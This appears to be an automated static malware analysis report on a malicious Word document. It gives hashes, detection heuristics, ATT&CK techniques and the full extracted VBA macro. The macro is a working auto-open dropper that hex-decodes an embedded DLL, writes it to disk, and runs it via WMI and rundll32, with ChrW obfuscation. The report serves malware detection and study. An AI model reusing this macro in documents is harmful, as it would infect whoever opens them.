Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7a5a68798a782da6…

MALICIOUS

Office (OOXML)

120.9 KB Created: 2020-05-18 18:16:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-15
MD5: 12d2e8fa1be0f93f8087c50eb50206cd SHA-1: edc28e64991407e30bf7ef8327ac4725c725268e SHA-256: 7a5a68798a782da686b4619d6c793caeac70c0186247b13fefc0bcef4276d02a
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 Signed Binary Proxy Execution: Rundll32 T1105 Ingress Tool Transfer

The sample contains a malicious VBA macro with an auto-executing Document_Open subroutine. This macro decodes a string, writes it to 'c:\GazerYTC\iVolume.dll', and then executes it using 'rundll32'. The obfuscated nature of the macro and the use of GetObject and CreateObject indicate a downloader or dropper functionality, aiming to fetch and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Dropper.HexEncodedEXEHeader-9789587-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.HexEncodedEXEHeader-9789587-1
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1842 bytes
SHA-256: 8f3048b88a76849ac246f4312e7e6e29f0b05c288c46b8a6f99bf52f2947af80
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "ToggleButton1, 0, 0, MSForms, ToggleButton"



Private Sub Document_Open()

Dim i, Paramentrs, strTemp, strReturn, strFile$, CurFolder


CurFolder = "c:\GazerYTC"

If Right$(CurFolder, 1) <> "\" Then CurFolder = CurFolder & "\"
MakeSureDirectoryPathExists CurFolder

Paramentrs = CurFolder + "\iVolume.dll"

strFile = ToggleButton1.Caption
For i = 1 To Len(strFile) Step 2
strTemp = Chr(Val("&H" + Mid(strFile, i, 2)))
strReturn = strReturn + strTemp
Next i
strFile = Right$(strReturn, Len(strReturn) - 1)

Open Paramentrs For Binary As #1
Put #1, , Chr$(77) + strFile
Close #1

Set process = GetObject(ChrW(119) & ChrW(105) & ChrW(110) & ChrW(109) & ChrW(103) & ChrW(109) & ChrW(116) & ChrW(115) _
 & ChrW(58) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(51) & ChrW(50) & ChrW(95) & ChrW(80) & ChrW(114) _
 & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115))
process.create "rundll32 " & Paramentrs & ",Urlock", Null, Null, processid
process.create "rundll32 " & Paramentrs & ",unUrlock", Null, Null, processid

On Error GoTo errorHandler
ActiveDocument.Close _
 SaveChanges:=wdPromptToSaveChanges, _
 OriginalFormat:=wdPromptUser
errorHandler:

If Err = 4198 Then MsgBox "Document was not closed"

End Sub


Attribute VB_Name = "Module1"
#If VBA7 Then
Public Declare PtrSafe Function MakeSureDirectoryPathExists Lib "imagehlp" (ByVal lpPath As String) As Long
#Else
Public Declare Function MakeSureDirectoryPathExists Lib "imagehlp" (ByVal lpPath As String) As Long
#End If
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25600 bytes
SHA-256: 2ddbbc3ce90d0d44ddefc08b95fb41ffde4c6a01ea1d150070f4c8a2be8ea796

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